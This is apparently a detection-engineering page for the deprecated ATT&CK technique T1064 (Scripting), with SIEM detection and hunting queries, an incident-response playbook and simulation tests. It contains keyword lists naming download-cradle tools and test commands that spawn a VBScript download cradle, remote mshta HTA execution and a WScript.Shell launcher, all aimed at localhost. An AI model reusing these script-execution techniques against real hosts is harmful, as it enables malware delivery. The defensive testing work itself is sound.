T1064

Scripting

Defense Evasion Execution Last updated:

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. This deprecated technique (now superseded by T1059 Command and Scripting Interpreter) covered adversary use of scripting languages including VBScript, JavaScript, Windows Script Host, batch scripts, and macro-enabled Office documents. Scripts can be used to speed up operations, bypass process monitoring by interacting with the OS at an API level, and enable execution via spearphishing attachments containing malicious macros. Common attack patterns include VBScript/JScript execution via wscript.exe or cscript.exe, malicious Office macros spawning child processes, and batch scripts performing reconnaissance or lateral movement.

What is T1064 Scripting?

Scripting (T1064) maps to the Defense Evasion and Execution tactics — the adversary is trying to avoid being detected in MITRE ATT&CK.

This page provides production-ready detection logic for Scripting, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Defense Evasion Execution
Canonical reference
https://attack.mitre.org/techniques/T1064/
Microsoft Sentinel / Defender
kusto
let SuspiciousScriptPatterns = dynamic([
  "invoke-expression", "iex(", "downloadstring", "downloadfile",
  "net.webclient", "invoke-webrequest", "start-bitstransfer",
  "cmd /c", "cmd/c", "/c powershell", "wscript.shell",
  "createobject", "shell.application", "shellexecute",
  "certutil", "bitsadmin", "regsvr32", "mshta",
  "http://", "https://", "ftp://"
]);
let OfficeApps = dynamic(["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "onenote.exe", "access.exe", "visio.exe"]);
let ScriptInterpreters = dynamic(["wscript.exe", "cscript.exe", "mshta.exe", "cmd.exe", "powershell.exe", "pwsh.exe"]);
// Branch 1: Office applications spawning script interpreters (macro execution)
let OfficeMacroExecution = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName has_any (OfficeApps)
| where FileName has_any (ScriptInterpreters)
| extend DetectionType = "OfficeMacroSpawn"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionType;
// Branch 2: Script interpreters with suspicious arguments
let SuspiciousScriptExec = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("wscript.exe", "cscript.exe")
| where ProcessCommandLine has_any (SuspiciousScriptPatterns)
    or ProcessCommandLine matches regex @"(?i)\.(vbs|vbe|js|jse|wsf|wsh|hta)\b"
| extend DetectionType = "SuspiciousScriptInterpreter"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionType;
// Branch 3: MSHTA executing remote content or VBScript inline
let MshtaAbuse = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("vbscript:", "javascript:", "http://", "https://", "//", "\\\\")
| extend DetectionType = "MshtaRemoteExecution"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionType;
// Branch 4: Cmd.exe spawned by Office apps or running obfuscated batch commands
let CmdBatchAbuse = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "cmd.exe"
| where InitiatingProcessFileName has_any (OfficeApps)
    or (ProcessCommandLine has_any ("^^", "&&", "||")
        and ProcessCommandLine has_any ("http", "certutil", "bitsadmin", "powershell", "wscript", "cscript"))
| extend DetectionType = "SuspiciousBatchCmd"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionType;
union OfficeMacroExecution, SuspiciousScriptExec, MshtaAbuse, CmdBatchAbuse
| sort by Timestamp desc

Detects scripting-based attack patterns using Microsoft Defender for Endpoint DeviceProcessEvents. Covers four major vectors: (1) Office applications spawning script interpreters indicating macro execution, (2) wscript.exe/cscript.exe executing scripts with suspicious patterns such as download cradles or shell invocations, (3) mshta.exe running remote or inline VBScript/JavaScript content, and (4) cmd.exe spawned by Office apps or executing obfuscated batch commands. Union query returns all variants with a DetectionType tag for analyst triage.

high severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legitimate software installers that use VBScript (wscript.exe) for install/uninstall automation, particularly older enterprise applications
  • IT administration scripts run via Group Policy or SCCM that use cscript.exe or wscript.exe for inventory or configuration tasks
  • Office add-ins and COM automation tools that legitimately spawn child processes from Word or Excel (e.g., mail-merge workflows, report generators)
  • Help desk and remote support tools (ConnectWise, TeamViewer) that may spawn cmd.exe or scripts from unusual parent processes
  • Security scanners and vulnerability assessment tools that invoke mshta.exe or script interpreters during active scanning

Sigma rule & cross-platform mapping

The detection logic for Scripting (T1064) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1VBScript Download Cradle via wscript.exe

    Expected signal: Sysmon Event ID 1: Process Create with Image=wscript.exe, CommandLine referencing df00tech_test.vbs. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 from wscript.exe (connection will fail). Sysmon Event ID 11: File creation of df00tech_test.vbs in %TEMP%.

  2. Test 2JScript Execution via cscript.exe with Shell Command

    Expected signal: Sysmon Event ID 1: Process Create for cscript.exe with CommandLine referencing df00tech_shell.js. Sysmon Event ID 1 (child): cmd.exe spawned by cscript.exe with 'whoami' command. Sysmon Event ID 11: Output file creation in %TEMP%.

  3. Test 3MSHTA Remote HTA Execution

    Expected signal: Sysmon Event ID 1: Process Create with Image=mshta.exe, CommandLine='mshta.exe http://127.0.0.1:8080/df00tech_test.hta'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (will fail — no listener). The process creation event fires regardless of connection success.

  4. Test 4Simulated Office Macro Child Process (cmd.exe spawned from Word context)

    Expected signal: Sysmon Event ID 1: powershell.exe process create followed by cmd.exe child process. Security Event ID 4688 (if command line auditing enabled) for both processes. To fully test the OfficeMacroSpawn detection branch, the test would need to originate from a running winword.exe process — this simulation exercises the cmd.exe execution and output paths.

  5. Test 5VBScript Inline Execution via mshta vbscript: Protocol

    Expected signal: Sysmon Event ID 1: Process Create with Image=mshta.exe, CommandLine containing 'vbscript:Execute'. A dialog box will appear briefly — dismiss it. No network connections or file writes are expected for this test variant.


Response Playbook

Triage

  1. Identify the script interpreter and its parent process — wscript.exe spawned by winword.exe is highly suspicious; cscript.exe launched by a deployment agent (msiexec.exe, sccm) is often benign. Check InitiatingProcessFileName and work backwards up the process tree.
  2. Examine the full command line for the script interpreter — look for remote paths (UNC paths \\server\share), HTTP/HTTPS URLs (download cradles), inline code blobs, or obfuscated character sequences (^^ carets in cmd.exe, chr() functions in VBScript).
  3. If a .vbs, .js, or .hta file was invoked, locate and retrieve the script file from disk immediately before it can be deleted. Check common drop paths: %TEMP%, %APPDATA%, %PUBLIC%, C:\Windows\Temp, user Download folders.
  4. Review the Office document parent if OfficeMacroSpawn is triggered — what document was open? Was it received via email (check Outlook MRU or email gateway logs for the attachment)? What is the document hash? Search VirusTotal or internal threat intel.
  5. Check for network connections initiated by the script process using Sysmon Event ID 3 or DeviceNetworkEvents — any external connections indicate a download cradle or C2 callback and significantly elevate severity.
  6. Identify whether the script created additional files on disk (Sysmon Event ID 11) or spawned further child processes — a script that drops and executes a PE binary is a high-confidence malware execution chain.
  7. Assess user context — did the user intentionally open an attachment, or was this a background process? Check with the user if possible to rule out a legitimate business workflow before escalating.

Containment

  1. If the script executed a download cradle or initiated external network connections: immediately isolate the endpoint using EDR network isolation or emergency VLAN change to prevent C2 communication or lateral movement.
  2. Kill any remaining script interpreter processes (wscript.exe, cscript.exe, mshta.exe, cmd.exe) that are descendants of the suspicious parent — use EDR live response or Task Manager with PID from process telemetry.
  3. Quarantine any script files identified on disk to a forensic hold location before removing — preserve file timestamps, hash, and content for analysis. Do not delete until forensic triage is complete.
  4. If an Office document triggered the macro: quarantine the file, block the sender at the email gateway, and search for the same attachment (by hash, subject, or sender) across all mailboxes in the organization.
  5. Block identified malicious URLs, domains, or IP addresses at the web proxy, DNS resolver, and firewall immediately if network connections were confirmed.
  6. If credential theft is suspected (script invoked Mimikatz patterns, accessed LSASS, or enumerated credential stores): initiate emergency password reset for the affected user and any service accounts accessible from that host.

Evidence Collection

  1. Script file content — retrieve the actual .vbs, .js, .wsf, .hta, or batch file from disk. Hash with SHA-256. Preserve original timestamps (use robocopy /COPYALL or forensic imaging to avoid modifying access times).
  2. Process creation events — Sysmon Event ID 1 for the full process tree including parent, grandparent, and all child processes of the script interpreter.
  3. Network connection events — Sysmon Event ID 3 for any outbound connections from the script interpreter or its children. Note destination IP, port, and timestamp.
  4. File creation events — Sysmon Event ID 11 for any files written by the script process. Payloads are commonly dropped to %TEMP%, %APPDATA%, or C:\Windows\Temp.
  5. Windows Script Host logs — if configured, WSH logging writes to: HKCU\Software\Microsoft\Windows Script Host\Settings and the Application Event Log (Event Source: VBScript or JScript).
  6. Office document forensics — retrieve the triggering document, extract macros using olevba (pip install oletools). Document VBA project structure, AutoOpen/AutoExec macros, and any obfuscation layers.
  7. Prefetch files — C:\Windows\Prefetch\WSCRIPT.EXE-*.pf, CSCRIPT.EXE-*.pf, MSHTA.EXE-*.pf — contain execution timestamps and file paths accessed during script execution.
  8. Registry run keys and scheduled tasks — check if the script established persistence: HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and Task Scheduler XML files in C:\Windows\System32\Tasks.

Escalation Criteria

  • ! Office macro spawned a script interpreter that subsequently initiated an outbound network connection — this is a classic phishing-to-execution chain and should be treated as confirmed compromise.
  • ! Script retrieved and executed a second-stage payload (PE binary, shellcode, additional script) — multi-stage execution indicates a targeted or framework-based attack (Cobalt Strike, Metasploit, Empire).
  • ! Script interpreter accessed LSASS (Sysmon Event ID 10 with TargetImage=lsass.exe) or invoked Mimikatz-related commands — credential theft is in progress.
  • ! Multiple endpoints in the same time window showing identical script execution patterns — possible automated lateral movement or worm-like propagation via shared drives or logon scripts.
  • ! Script achieved persistence via registry Run keys, scheduled tasks, or startup folder — the threat actor has established a foothold and will survive reboot.
  • ! The triggering Office document was sent to multiple users in the organization — indicates a spearphishing campaign requiring organization-wide response, not just single endpoint containment.

Investigation Guide

Forensic Artifacts

  • > File System: %TEMP%\*.vbs, %TEMP%\*.js, %TEMP%\*.hta — common drop locations for script payloads delivered via phishing
  • > File System: %APPDATA%\Microsoft\Windows\Recent\*.lnk — LNK files pointing to recently accessed Office documents that triggered macros
  • > File System: C:\Windows\Prefetch\WSCRIPT.EXE-*.pf, CSCRIPT.EXE-*.pf, MSHTA.EXE-*.pf — execution evidence with timestamps
  • > Registry: HKCU\Software\Microsoft\Office\<version>\Word\Security\MacroSecurity — macro security settings (value 1 = enabled all macros)
  • > Registry: HKCU\Software\Microsoft\Office\<version>\Word\Trusted Locations — locations trusted for macro execution without prompts
  • > Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs — recently opened documents with file type association
  • > Event Log: Microsoft-Windows-OAlerts/Operational — Office alerts including macro security bypass prompts
  • > Event Log: Application (source=VBScript or JScript) — Windows Script Host execution logs if WSH logging is configured
  • > Office Document: VBA project embedded in .docm/.xlsm/.pptm files — extractable with olevba or oletools suite; check Module1, ThisDocument, AutoOpen macros
  • > Zone.Identifier ADS: Files downloaded from the internet carry a Mark-of-the-Web (Zone=3) in the :Zone.Identifier alternate data stream — confirms document originated externally

Tuning Guidance

T1064 detections generate significant noise in environments with legacy applications, GPO-deployed scripts, or SCCM-managed endpoints. Start tuning by baselining all legitimate wscript.exe and cscript.exe parent processes in your environment — create an allowlist of known-good parent-child pairs (e.g., msiexec.exe → cscript.exe for MSI custom actions). For Office macro detections, identify business units that legitimately use macro-enabled documents and exclude their specific document paths or user accounts from the OfficeMacroSpawn branch. For mshta.exe detections, note that some older enterprise web applications use HTA for UI — baseline expected mshta.exe invocations by hash. Suppress the CmdBatchAbuse branch for known deployment service accounts (svchost running software deployment). Prioritize alerts where multiple branches fire simultaneously (TotalScore > 1) or where a network connection event correlates with the script execution — these compound signals dramatically reduce false positives. If your environment has disabled macro execution via Group Policy (Trust Center settings / DISA STIG), the OfficeMacroSpawn branch should produce near-zero noise and can be treated as high confidence when it fires.


Hunting Queries

Hunt for unusual parent processes frequently spawning wscript.exe or cscript.exe. Legitimate parents are typically msiexec.exe, svchost.exe (Group Policy), or deployment tools. High counts from unexpected parents (explorer.exe, winword.exe, outlook.exe) indicate user-triggered macro execution or a persistent script-based mechanism.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("wscript.exe", "cscript.exe")
| summarize ScriptCount=count(),
            UniqueScripts=dcount(ProcessCommandLine),
            Devices=dcount(DeviceName),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp),
            SampleCommandLine=any(ProcessCommandLine)
  by InitiatingProcessFileName
| where ScriptCount > 5
| sort by ScriptCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\wscript.exe" OR Image="*\\cscript.exe")
| eval ParentFileName=lower(mvindex(split(ParentImage, "\\"), -1))
| stats count as ScriptCount, dc(CommandLine) as UniqueScripts, dc(host) as Devices,
        earliest(_time) as FirstSeen, latest(_time) as LastSeen, values(CommandLine) as SampleCommandLines
  by ParentFileName
| where ScriptCount > 5
| sort - ScriptCount

Hunt for script files (.vbs, .js, .hta, .bat, .ps1) dropped to writable user directories by browsers or Office applications. This pattern identifies drive-by downloads and macro-dropped payloads before they are executed. Covers the initial file drop stage, which may precede the execution event by seconds to minutes.

Hunting — KQL
kql
DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName matches regex @"(?i)\.(vbs|vbe|js|jse|wsf|wsh|hta|bat|ps1)$"
| where FolderPath has_any ("%temp%", "\\temp\\", "\\appdata\\roaming\\", "\\appdata\\local\\temp\\",
                             "\\downloads\\", "\\public\\", "C:\\Windows\\Temp")
| where InitiatingProcessFileName has_any ("winword.exe", "excel.exe", "powerpnt.exe",
                                            "outlook.exe", "onenote.exe", "chrome.exe",
                                            "firefox.exe", "iexplore.exe", "msedge.exe")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
         InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
| eval FileExt=lower(mvindex(split(TargetFilename, "."), -1))
| where FileExt IN ("vbs", "vbe", "js", "jse", "wsf", "wsh", "hta", "bat", "ps1")
| eval TargetLower=lower(TargetFilename)
| where match(TargetLower, "(\\\\temp\\\\|\\\\appdata\\\\|\\\\downloads\\\\|\\\\public\\\\|c:\\\\windows\\\\temp)")
| eval ParentFileName=lower(mvindex(split(Image, "\\"), -1))
| where ParentFileName IN ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
                           "onenote.exe", "chrome.exe", "firefox.exe", "iexplore.exe", "msedge.exe")
| table _time, host, User, TargetFilename, Image, CommandLine
| sort - _time

Hunt for script interpreters (wscript.exe, cscript.exe, mshta.exe) that both executed and made outbound network connections to public IPs. Correlates process creation and network events by ProcessGuid. This pattern identifies live download cradles — scripts actively retrieving second-stage payloads — and is a high-fidelity indicator of active malicious activity rather than benign script execution.

Hunting — KQL
kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("wscript.exe", "cscript.exe", "mshta.exe")
| join kind=leftouter (
    DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteIPType == "Public"
    | project NetworkTimestamp=Timestamp, DeviceName, InitiatingProcessId,
             RemoteIP, RemotePort, RemoteUrl
) on DeviceName, $left.ProcessId == $right.InitiatingProcessId
| where isnotempty(RemoteIP)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl
| sort by Timestamp desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
  (EventCode=1 (Image="*\\wscript.exe" OR Image="*\\cscript.exe" OR Image="*\\mshta.exe"))
  OR
  (EventCode=3 (Image="*\\wscript.exe" OR Image="*\\cscript.exe" OR Image="*\\mshta.exe")
   NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*"
        OR DestinationIp="172.18.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*"))
| eval ProcessGuid=ProcessGuid
| stats values(CommandLine) as CommandLines, values(DestinationIp) as DestIPs,
        values(DestinationPort) as DestPorts, values(DestinationHostname) as DestHosts
  by host, ProcessGuid, Image
| where isnotnull(DestIPs)
| sort - _time

Atomic Red Team Tests

Test 1 VBScript Download Cradle via wscript.exe
windows

Executes a VBScript file via wscript.exe that attempts to download content using XMLHTTP — the classic VBScript download cradle pattern used by initial access malware delivered via phishing attachments. The target URL points to localhost to keep the test safe; the connection will fail but process and network telemetry will still be generated.

Command

powershell
echo Set objHTTP = CreateObject("MSXML2.XMLHTTP") : objHTTP.Open "GET", "http://127.0.0.1:8080/test", False : On Error Resume Next : objHTTP.Send > %TEMP%\df00tech_test.vbs && wscript.exe %TEMP%\df00tech_test.vbs

Cleanup

powershell
del %TEMP%\df00tech_test.vbs 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=wscript.exe, CommandLine referencing df00tech_test.vbs. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 from wscript.exe (connection will fail). Sysmon Event ID 11: File creation of df00tech_test.vbs in %TEMP%.

Expected Detection

KQL: SuspiciousScriptInterp branch fires on wscript.exe with http:// in context + .vbs extension. SPL: SuspiciousScriptInterp=1. Hunting query 3 will correlate the process creation with the network connection attempt.

Test 2 JScript Execution via cscript.exe with Shell Command
windows

Simulates adversary use of JScript executed through cscript.exe to invoke system commands via WScript.Shell — a common pattern for script-based lateral movement and post-exploitation where the script acts as a thin wrapper around cmd.exe commands to evade simple command-line detection.

Command

powershell
echo var shell = new ActiveXObject('WScript.Shell'); var exec = shell.Exec('cmd.exe /c whoami > %TEMP%\df00tech_out.txt'); > %TEMP%\df00tech_shell.js && cscript.exe //nologo %TEMP%\df00tech_shell.js

Cleanup

powershell
del %TEMP%\df00tech_shell.js 2>nul & del %TEMP%\df00tech_out.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for cscript.exe with CommandLine referencing df00tech_shell.js. Sysmon Event ID 1 (child): cmd.exe spawned by cscript.exe with 'whoami' command. Sysmon Event ID 11: Output file creation in %TEMP%.

Expected Detection

KQL: SuspiciousScriptInterp branch fires on cscript.exe with createobject/wscript.shell pattern. The child cmd.exe spawned by cscript.exe would additionally trigger the CmdBatchAbuse branch if cmd.exe parent detection is active. SPL: SuspiciousScriptInterp=1.

Test 3 MSHTA Remote HTA Execution
windows

Invokes mshta.exe with a remote URL argument — the primary LOLBin abuse pattern for T1218.005 and a common T1064 delivery mechanism. Attackers host malicious HTA files on attacker-controlled infrastructure; mshta.exe fetches and executes them with full script engine access. Test points to localhost so no external connection is made.

Command

powershell
mshta.exe http://127.0.0.1:8080/df00tech_test.hta

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=mshta.exe, CommandLine='mshta.exe http://127.0.0.1:8080/df00tech_test.hta'. Sysmon Event ID 3: Network connection attempt to 127.0.0.1:8080 (will fail — no listener). The process creation event fires regardless of connection success.

Expected Detection

KQL: MshtaRemoteExecution branch fires on mshta.exe with http:// in CommandLine. SPL: MshtaAbuse=1. Hunting query 3 will surface this via the script-interpreter-with-network-connection correlation.

Test 4 Simulated Office Macro Child Process (cmd.exe spawned from Word context)
windows

Simulates the process tree created when a malicious Office macro spawns cmd.exe to execute system commands — the most common post-macro execution pattern. In a real attack, this would be triggered by AutoOpen or Document_Open VBA. Here we directly reproduce the parent-child relationship using Start-Process to mimic the Word → cmd.exe chain for telemetry validation.

Command

powershell
powershell.exe -Command "Start-Process -FilePath 'cmd.exe' -ArgumentList '/c whoami > %TEMP%\df00tech_macro_sim.txt' -PassThru"

Cleanup

powershell
del %TEMP%\df00tech_macro_sim.txt 2>nul

Expected Telemetry

Sysmon Event ID 1: powershell.exe process create followed by cmd.exe child process. Security Event ID 4688 (if command line auditing enabled) for both processes. To fully test the OfficeMacroSpawn detection branch, the test would need to originate from a running winword.exe process — this simulation exercises the cmd.exe execution and output paths.

Expected Detection

The CmdBatchAbuse branch may fire if run from a context matching Office app parents. Primary value is validating that cmd.exe spawned in scripting chains produces the expected Sysmon Event ID 1 telemetry with full CommandLine visible. Full OfficeMacroSpawn validation requires opening a macro-enabled document (see atomic test 5).

Test 5 VBScript Inline Execution via mshta vbscript: Protocol
windows

Uses mshta.exe with the vbscript: protocol to execute VBScript inline without a file on disk — a fileless scripting execution pattern that bypasses file-based detection and is used by threat actors to reduce forensic footprint. The payload runs MsgBox (benign) to confirm execution without writing files.

Command

powershell
mshta.exe "vbscript:Execute(""MsgBox ""df00tech atomic test"",64,""T1064"":close"")"

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=mshta.exe, CommandLine containing 'vbscript:Execute'. A dialog box will appear briefly — dismiss it. No network connections or file writes are expected for this test variant.

Expected Detection

KQL: MshtaRemoteExecution branch fires on mshta.exe with 'vbscript:' in CommandLine. SPL: MshtaAbuse=1. This test validates that inline vbscript: protocol execution is captured in process creation telemetry even without a file on disk.

Related Detections